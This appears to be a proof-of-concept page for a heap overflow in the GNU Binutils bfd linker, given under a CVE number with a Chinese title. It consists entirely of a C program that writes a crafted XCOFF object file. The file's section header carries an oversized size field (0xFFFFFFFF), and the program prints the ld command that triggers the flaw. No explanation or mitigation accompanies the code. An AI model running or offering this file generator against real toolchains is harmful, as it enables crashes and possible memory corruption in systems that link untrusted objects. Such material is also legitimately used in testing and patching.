CVE-2026-3442 GNU Binutils bfd linker堆溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #pragma pack(1) typedef struct { unsigned short magic; // 0x01DF for XCOFF unsigned short nsections; // Number of sections unsigned int timestamp; // Timestamp unsigned int symptr; // Symbol table pointer unsigned int nsyms; // Number of symbols unsigned int opthdr; // Optional header size unsigned short flags; // Flags } XCOFF_HEADER; typedef struct { char name[8]; // Section name unsigned int paddr; // Physical address unsigned int vaddr; // Virtual address unsigned int size; // Section size unsigned int scnptr; // Section data pointer unsigned int relptr; // Relocation pointer unsigned int lnnoptr; // Line number pointer unsigned short nreloc; // Number of relocations unsigned short nlnno; // Number of line numbers unsigned int flags; // Flags } XCOFF_SECTION; int main() { FILE *fp = fopen("malicious.xcoff", "wb"); if (!fp) { perror("Failed to create file"); return 1; } // Craft malicious XCOFF header XCOFF_HEADER header = { .magic = 0x01DF, .nsections = 1, .timestamp = 0, .symptr = 0x1000, .nsyms = 0, .opthdr = 0, .flags = 0x0002 }; fwrite(&header, sizeof(XCOFF_HEADER), 1, fp); // Craft malicious section header with invalid size XCOFF_SECTION section = { .name = ".text", .paddr = 0, .vaddr = 0, .size = 0xFFFFFFFF, // Malicious oversized value .scnptr = 0x200, .relptr = 0, .lnnoptr = 0, .nreloc = 0, .nlnno = 0, .flags = 0x0040 }; fwrite(&section, sizeof(XCOFF_SECTION), 1, fp); // Add minimal padding data unsigned char padding[256] = {0}; fwrite(padding, 256, 1, fp); fclose(fp); printf("Malicious XCOFF file created: malicious.xcoff\n"); printf("Trigger with: ld -o output malicious.xcoff\n"); return 0; }